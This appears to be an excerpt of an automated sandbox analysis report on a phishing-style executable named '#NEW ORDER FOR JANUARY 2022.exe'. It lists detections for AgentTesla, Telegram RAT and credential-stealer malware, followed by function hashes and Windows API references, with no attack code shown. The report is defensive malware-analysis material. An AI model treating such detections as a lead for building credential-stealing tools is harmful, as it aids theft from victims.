00000025.00000000.744014270.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000025.00000002.931661414.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000025.00000002.931661414.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000025.00000000.746142761.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000025.00000000.746142761.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: #NEW ORDER FOR JANUARY 2022.exe PID: 6588 Parent PID: 5188 #NEW ORDER FOR JANUARY 2022.exeCOMMON

Execution Graph

Execution Coverage:	14%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	82
Total number of Limit Nodes:	4

Executed Functions

Function 058144F0, Relevance: 1.8, Strings: 1, Instructions: 524
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

k@', xrefs: 0581491B

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID: k@'
API String ID: 0-984539097
Opcode ID: dbc7207378a1edc3af8bc7e039a4eb9d2152e8491e934170b24a7baf5db54e47
Instruction ID: 8e0ec6adb7a685e2f6712ece9cf8fe795a53207e4c9a5068707b2630ece17b98
Opcode Fuzzy Hash: dbc7207378a1edc3af8bc7e039a4eb9d2152e8491e934170b24a7baf5db54e47
Instruction Fuzzy Hash: 4F126C34B102098FCB14DF69D494AAEB7FABF89714B258469ED06EB361DB31DC01CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0581E3D8, Relevance: .9, Instructions: 905COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2b81b434b8328b30edf2d092b17964c5c878ab37e90aeec89df1000e3ee1a60
Instruction ID: 1984592b1a990bd9199c4d438232f7c83419d96da9473b6b89fb000606207404
Opcode Fuzzy Hash: c2b81b434b8328b30edf2d092b17964c5c878ab37e90aeec89df1000e3ee1a60
Instruction Fuzzy Hash: 86823974A00614CFDB24DF28C884A69BBB6FF89304F1581A9D94ADB361DB31ED81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0811C478, Relevance: .5, Instructions: 525COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.740666494.0000000008110000.00000040.00000010.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8110000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d7a938509bbe85d7ebe65f245be5e0ae0173cc09b862068884ab36dcec0d587
Instruction ID: cf688b3cba919027d0c02987705c4141cbc5a7ce8e41f4d238c602591cc702be
Opcode Fuzzy Hash: 0d7a938509bbe85d7ebe65f245be5e0ae0173cc09b862068884ab36dcec0d587
Instruction Fuzzy Hash: 32527AB1500706CFD718EF54E8881997BB3FB4AB28F905218C1626F6D8D3B465CADFA4

Uniqueness

Uniqueness Score: -1.00%

Function 081139D4, Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.740666494.0000000008110000.00000040.00000010.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8110000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cde0375e50892d11793ea499193c4d8bc0fb4b4984e89da536f087ac639a4dd4
Instruction ID: dfc64043648af76fdf4a1f33bb1de43200b97f3bbdd3530b8aa4c927d1e98f81
Opcode Fuzzy Hash: cde0375e50892d11793ea499193c4d8bc0fb4b4984e89da536f087ac639a4dd4
Instruction Fuzzy Hash: 65B1D071B50109CBDF08CFA8DD966DDB7F2AF88311B24816AE416FB394DB799D028B50

Uniqueness

Uniqueness Score: -1.00%

Function 081139E0, Relevance: .3, Instructions: 313COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.740666494.0000000008110000.00000040.00000010.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8110000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82b0fe9d58ef263ec0145353428b1c148247345d5e9e0edb34a2cbb321e20e6e
Instruction ID: 99a2fe8a4927078341d0b6cf8f8cf4b59324df314ca824a15bcfd615479b9d06
Opcode Fuzzy Hash: 82b0fe9d58ef263ec0145353428b1c148247345d5e9e0edb34a2cbb321e20e6e
Instruction Fuzzy Hash: 1FB1E071B501098BDF08CBA8DD966DDB7F2AF88311B24816AE406FB394DB799D028B50

Uniqueness

Uniqueness Score: -1.00%

Function 05814E58, Relevance: 1.8, Strings: 1, Instructions: 587
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#e, xrefs: 05815347

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID: #e
API String ID: 0-1732277802
Opcode ID: f6712468bf50ebfdaeab2bb9e11abb6f9df7c374207c2173241dcb02c2ad63d8
Instruction ID: 09cb5d9bab54f8acfed70e1425da36408914458b0300221b427fcb8129c85813
Opcode Fuzzy Hash: f6712468bf50ebfdaeab2bb9e11abb6f9df7c374207c2173241dcb02c2ad63d8
Instruction Fuzzy Hash: 963259747046048FCB14DF39D498A6ABBF6FF89304B6584A9E906CB361DB30EC45CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0581AB18, Relevance: 1.8, Strings: 1, Instructions: 511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 0581AFA7

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 2419923b0f1836eca053af0e62c197a7ab837633ef14adfb6018419cfff454e3
Instruction ID: 8190442369e52c0a39e5a753be6c4f1b1b1327acf79bbba2d264d9ebedc3fce4
Opcode Fuzzy Hash: 2419923b0f1836eca053af0e62c197a7ab837633ef14adfb6018419cfff454e3
Instruction Fuzzy Hash: CC229A316056068FCB24CF58C484DAABBF6FF84314B1AC669D959CB2A1E730FC55CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0811BDA0, Relevance: 1.7, APIs: 1, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0811BFF6

Memory Dump Source

Source File: 00000000.00000002.740666494.0000000008110000.00000040.00000010.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8110000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: aae88109ee4cab82dbbb3352944757d7a5101fb92f5339b1e6c1b4c527094239
Instruction ID: e6b2a5388f8a213938361be73cc9fc35b3a87bc0f836ed18c9f4007a7ee0bc54
Opcode Fuzzy Hash: aae88109ee4cab82dbbb3352944757d7a5101fb92f5339b1e6c1b4c527094239
Instruction Fuzzy Hash: C3812670A05B058FDB64DF29D040B9ABBF1BF88215F10892DD58AD7B50DB35E806CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05813CF0, Relevance: 1.7, Strings: 1, Instructions: 450
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 05813F43

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: cabcb569e6638011ebd2d5e392ea6245a8b76030db0b8760816bbb85714751ce
Instruction ID: b5441e68110f75845843a22e8ce0bef41f97dae3f657806174177dee3faa936d
Opcode Fuzzy Hash: cabcb569e6638011ebd2d5e392ea6245a8b76030db0b8760816bbb85714751ce
Instruction Fuzzy Hash: B7025434B006058FDB20DF59C48496AB7F6FF88324B25CA69D95ADB761DB30EC42CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0581A3D8, Relevance: 1.7, Strings: 1, Instructions: 410
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

sZch^, xrefs: 0581A7DE

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID: sZch^
API String ID: 0-1042238138
Opcode ID: 312a98100e5e9d75c29510fcd719fe4f3421646b6a67fdc1a231d86ae7c32b1c
Instruction ID: 2f46eeec50ab25225775fed5236ec6a371f82d5b7ccaaf0bb1bc2af91fb28b6b
Opcode Fuzzy Hash: 312a98100e5e9d75c29510fcd719fe4f3421646b6a67fdc1a231d86ae7c32b1c
Instruction Fuzzy Hash: 71E19470B056068BCB15EF6CE451AAE73BAFF85608F508828DD16DB354EF34DD468B84

Uniqueness

Uniqueness Score: -1.00%

Function 0811D724, Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0811E36A

Memory Dump Source

Source File: 00000000.00000002.740666494.0000000008110000.00000040.00000010.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8110000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: f945c182ad624b3c967a5ff2fc9a3282b15ff70f0276828c513b24bf882db551
Instruction ID: fb986ae60775954721a98f8268f4f896e9a3a177e57268f2d8c906635a70d214
Opcode Fuzzy Hash: f945c182ad624b3c967a5ff2fc9a3282b15ff70f0276828c513b24bf882db551
Instruction Fuzzy Hash: 1751AEB1D103099FDF14CFDAD884ADEBBB5BF48314F24862AE819AB210D7759985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 081159A0, Relevance: 1.6, APIs: 1, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0811596E,?,?,?,?,?), ref: 08115A2F

Memory Dump Source

Source File: 00000000.00000002.740666494.0000000008110000.00000040.00000010.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8110000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: db52a186dc4a162f37e5f12dd4dad9146ade89a5a9c30130c298e379956524ce
Instruction ID: 42bb09a8b5b32aa67fccbf755b8cb00eb48f8c86a468b26df7c18ab71d594dca
Opcode Fuzzy Hash: db52a186dc4a162f37e5f12dd4dad9146ade89a5a9c30130c298e379956524ce
Instruction Fuzzy Hash: 463119B59002089FDB10CFA9E484ADEBFF5FB88325F14801AE915A3350D774A955CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 081153EC, Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0811596E,?,?,?,?,?), ref: 08115A2F

Memory Dump Source

Source File: 00000000.00000002.740666494.0000000008110000.00000040.00000010.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8110000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c5712d4bd6064caa5181f1cead3f6a8ce0f065edf75597e3deead6c79e56dfc3
Instruction ID: d28c8b01f6b366e4af95c05aba3380fef38439122b722f1c77af68a72bca7b89
Opcode Fuzzy Hash: c5712d4bd6064caa5181f1cead3f6a8ce0f065edf75597e3deead6c79e56dfc3
Instruction Fuzzy Hash: 8721E3B59002089FDF10CFAAD884AEEBBF5EF48324F14842AE915B7310D774A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0811ACE0, Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,0811C071,00000800,00000000,00000000), ref: 0811C262

Memory Dump Source

Source File: 00000000.00000002.740666494.0000000008110000.00000040.00000010.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8110000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7d18add862a62b06f8187bfe23cd48dc2c9da6a760ebefa174384044e1d73318
Instruction ID: 8c879d6f50c065db597247ab80699f66a19d060a66fa07368e3334fc954c12fd
Opcode Fuzzy Hash: 7d18add862a62b06f8187bfe23cd48dc2c9da6a760ebefa174384044e1d73318
Instruction Fuzzy Hash: 6211F2B69002098BDB10CF9AD484A9EFBF4AB58710F10852ED919B7200C775A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05815F70, Relevance: 1.6, Strings: 1, Instructions: 303
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 058161C1

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 80bc7127447f1f104d63bf34b39aaaf49e1d85089c7251e598f20ff9d07cb75e
Instruction ID: 64eb64b756f97f2cf90ef672789db7d420adcb20679abe0671099bf6016cd623
Opcode Fuzzy Hash: 80bc7127447f1f104d63bf34b39aaaf49e1d85089c7251e598f20ff9d07cb75e
Instruction Fuzzy Hash: BEC169346006028FCB14CF59D484D6ABBF6FF88314B26C958D99ACBA61EB30FC45CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0811BF90, Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0811BFF6

Memory Dump Source

Source File: 00000000.00000002.740666494.0000000008110000.00000040.00000010.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8110000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: c2063b920ba8cfb4c25c582c23d3bc2664c141739b31a65fa74d70cf57857d17
Instruction ID: 1f49de961c5c44a53ce988d19558f41b60fe6b575a8d54ea86b170f6fe66099c
Opcode Fuzzy Hash: c2063b920ba8cfb4c25c582c23d3bc2664c141739b31a65fa74d70cf57857d17
Instruction Fuzzy Hash: F6110FB6C006498FCB20CF9AD444BDEFBF4AF88224F10852AD429B7600C778A545CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 05814E48, Relevance: 1.5, Strings: 1, Instructions: 275
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#e, xrefs: 05815347

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID: #e
API String ID: 0-1732277802
Opcode ID: ec6cdde2580992d48a10f5db2fbc499fa8c242c9649846d31b78745dd3f3be11
Instruction ID: e83f43ed18f7560aecf57a1df20f6fec8f91355175981cf6c53e65e6fdffc439
Opcode Fuzzy Hash: ec6cdde2580992d48a10f5db2fbc499fa8c242c9649846d31b78745dd3f3be11
Instruction Fuzzy Hash: C5B118347006048FCB14DF79D498A6ABBF6FF89604B2584A9E946DB3B1DB30ED05CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0176ED00, Relevance: 1.4, Strings: 1, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 0176EE4C

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 4ee33cb85423b1d0ae48880c77029deaf3ccf432c5ec86efb9ba0a4f92150613
Instruction ID: 99384d031b1084f5e93a37f316e6a05b2a0f194dec986a02cb91aac85179bd26
Opcode Fuzzy Hash: 4ee33cb85423b1d0ae48880c77029deaf3ccf432c5ec86efb9ba0a4f92150613
Instruction Fuzzy Hash: C9615B34A00A068FCB15CF59D4C08AAFBFAFF88310B55C569D91997656DB30FC55CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 05814800, Relevance: 1.4, Strings: 1, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

k@', xrefs: 0581491B

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID: k@'
API String ID: 0-984539097
Opcode ID: b84e4bcb9b8469bd409303525089d003d8528a2f77f2afacd78c3126efe4be7a
Instruction ID: b3b5a87cd9c3423a327b0f1862c6ed72de25689924ac94ab6270229735fdd1a4
Opcode Fuzzy Hash: b84e4bcb9b8469bd409303525089d003d8528a2f77f2afacd78c3126efe4be7a
Instruction Fuzzy Hash: C151E634B102058FCB18DF69D498AAEB7F6BF89704B5584A9E906EB371DB31EC01CB54

Uniqueness

Uniqueness Score: -1.00%

Function 05819576, Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

p\fk, xrefs: 05819660

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID: p\fk
API String ID: 0-3323649189
Opcode ID: bfe6ec7285da6d6cfeefca6c8f4d743bc38bb83b94ab4b6ef4a4975a28a24d36
Instruction ID: 767dcffc26726979a041f4d4706685a4dae1a3e220d7414d159a787bb0cea6f8
Opcode Fuzzy Hash: bfe6ec7285da6d6cfeefca6c8f4d743bc38bb83b94ab4b6ef4a4975a28a24d36
Instruction Fuzzy Hash: 9E419075B002188FCB14EF78D490AAE77B7BFC8244B644429D802AB354DF35DC02CB85

Uniqueness

Uniqueness Score: -1.00%

Function 01761518, Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

P@2l, xrefs: 01761576

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID: P@2l
API String ID: 0-866591868
Opcode ID: 337a6ae9c60488719384344deed7ac0260dc6c7f220654d91e23f0e73bc92788
Instruction ID: 374933c97213100d0a3d5b3eddffdaceb4c7942f816e2058d9ef8f4876b71c1a
Opcode Fuzzy Hash: 337a6ae9c60488719384344deed7ac0260dc6c7f220654d91e23f0e73bc92788
Instruction Fuzzy Hash: BE31A075B002149FDB15DF74D4586AEB7F6AB89740F2845A9D802DB391DF34CC02CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01761528, Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

P@2l, xrefs: 01761576

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID: P@2l
API String ID: 0-866591868
Opcode ID: b6e26915f5a45d4c786cf0fb6b58683ecca54afdb62f369a5005a14c59fc72c8
Instruction ID: 2ec0019f94c923245717be045bd3184d2ece84a7cfcbb55dbdafd87b7894f2bb
Opcode Fuzzy Hash: b6e26915f5a45d4c786cf0fb6b58683ecca54afdb62f369a5005a14c59fc72c8
Instruction Fuzzy Hash: 67219335B002048FDB15EB74D0286AEF7F6AB88640F244569D802DB385DF74CC02CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0176F168, Relevance: .4, Instructions: 442COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f61e4422530cf92fbfa096242db825524ac9ae05e8f64e777929dc46373090f
Instruction ID: abf4c6b36b8f558a19ec1c0a99f5c74d7d17f31af3110d33afe0ace8848afdc1
Opcode Fuzzy Hash: 8f61e4422530cf92fbfa096242db825524ac9ae05e8f64e777929dc46373090f
Instruction Fuzzy Hash: 26E11930B086018FDB269B7DB47462EBBEADF8615571640FACA16CB7A2DF35CC018752

Uniqueness

Uniqueness Score: -1.00%

Function 01760FD0, Relevance: .4, Instructions: 411COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acf55989eb04ca8305079ad167b19765a4213343be2b095e2c0e906b59fa5c29
Instruction ID: 93478d764090fa7ea2e6ed97f6d22aa368f219f6f1e625f0884783c42eeea9e7
Opcode Fuzzy Hash: acf55989eb04ca8305079ad167b19765a4213343be2b095e2c0e906b59fa5c29
Instruction Fuzzy Hash: 7EF17E757002049FCB05DF68D848E69BBF6FF88314B1580A9E60A9B372DB36DC15DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0581F0A0, Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9e5fb888d3e0d3fa9deb53cefcb1218599987ed29a12ee1a2bd57a5875fc9bf
Instruction ID: 08dede579b852f16107c3bdae3b6229648c1261a205d146bb07890d05b9c2cff
Opcode Fuzzy Hash: c9e5fb888d3e0d3fa9deb53cefcb1218599987ed29a12ee1a2bd57a5875fc9bf
Instruction Fuzzy Hash: F1E117347105118FC714DF3DC598A2AB7EAAF8861871580A9EE0ACB775EF70EC02CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0581C498, Relevance: .4, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59b30cf09f6b27c7a61086df4f8cd625d1e00889a77dee7b311459aa8d9aea94
Instruction ID: d819586cab597c560f07c2c985bf6f90f74cec91d40e0ddefe96087ab1894cb7
Opcode Fuzzy Hash: 59b30cf09f6b27c7a61086df4f8cd625d1e00889a77dee7b311459aa8d9aea94
Instruction Fuzzy Hash: 21F15835704604CFDB54CF2AC489A6ABBE6FF85214F1984A9E946CB771CB74EC00CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01760FA8, Relevance: .4, Instructions: 398COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c79f53325468f2d5ad8d3a2ed110fb5bff10cf9073168845bfb53bb28c79ad3d
Instruction ID: 8f504cfb09f68135f78c0309a027a7f1517587f2de8189897d57fd97c81960b9
Opcode Fuzzy Hash: c79f53325468f2d5ad8d3a2ed110fb5bff10cf9073168845bfb53bb28c79ad3d
Instruction Fuzzy Hash: 11E15E75B002049FCB05DF68D858E69BBB7FF88314B1580A8E60A9B372DB36DC15DB91

Uniqueness

Uniqueness Score: -1.00%

Function 05819CE8, Relevance: .4, Instructions: 375COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732224d6622ae403f9309d23d2d489140a7ba8d51573adf69e1551c8ef74737f
Instruction ID: 15d40583abeaa847f7df9f014fe046dfb8a6e79a4aabb1bc615e1d765c2a03e2
Opcode Fuzzy Hash: 732224d6622ae403f9309d23d2d489140a7ba8d51573adf69e1551c8ef74737f
Instruction Fuzzy Hash: 93D1FF31B05225DFCB268B68C45063ABBBABF89B10F15846AED46DB355CB30DC41CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0581B798, Relevance: .4, Instructions: 364COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d921f0f71296fc316aaec778c497d629b5083bf8a8640b6d55b30290525e55
Instruction ID: 84226d71bc5d665672c959028358ea7342e9646210ed8e2d7369a83eebc7dca2
Opcode Fuzzy Hash: 67d921f0f71296fc316aaec778c497d629b5083bf8a8640b6d55b30290525e55
Instruction Fuzzy Hash: EAD1AC34B05225CFDB258B24D64472ABBAABF85B06F198568ED06DB385DF31DC42CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 05818700, Relevance: .3, Instructions: 302COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89f4f4231376364177ad41a466b21e430dec2e140a3e80782de2bb6d5cf14e52
Instruction ID: 3e53b691969a23a98d224d498e86ca8d8a22fcde3332b67790005a596c48bf0a
Opcode Fuzzy Hash: 89f4f4231376364177ad41a466b21e430dec2e140a3e80782de2bb6d5cf14e52
Instruction Fuzzy Hash: 0DC1F635A04208AFDB15CF98D485AAEBBB6FF48224F248459EC05EB351DB31ED81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0581BFF8, Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bd9f842709932d4fa317a5520d71da30345583ff01bdabc0e3b5781a4c6e019
Instruction ID: 85c4919f5143eafb34603d4ff68291211c63742db655d21090f8b001d6ef93ac
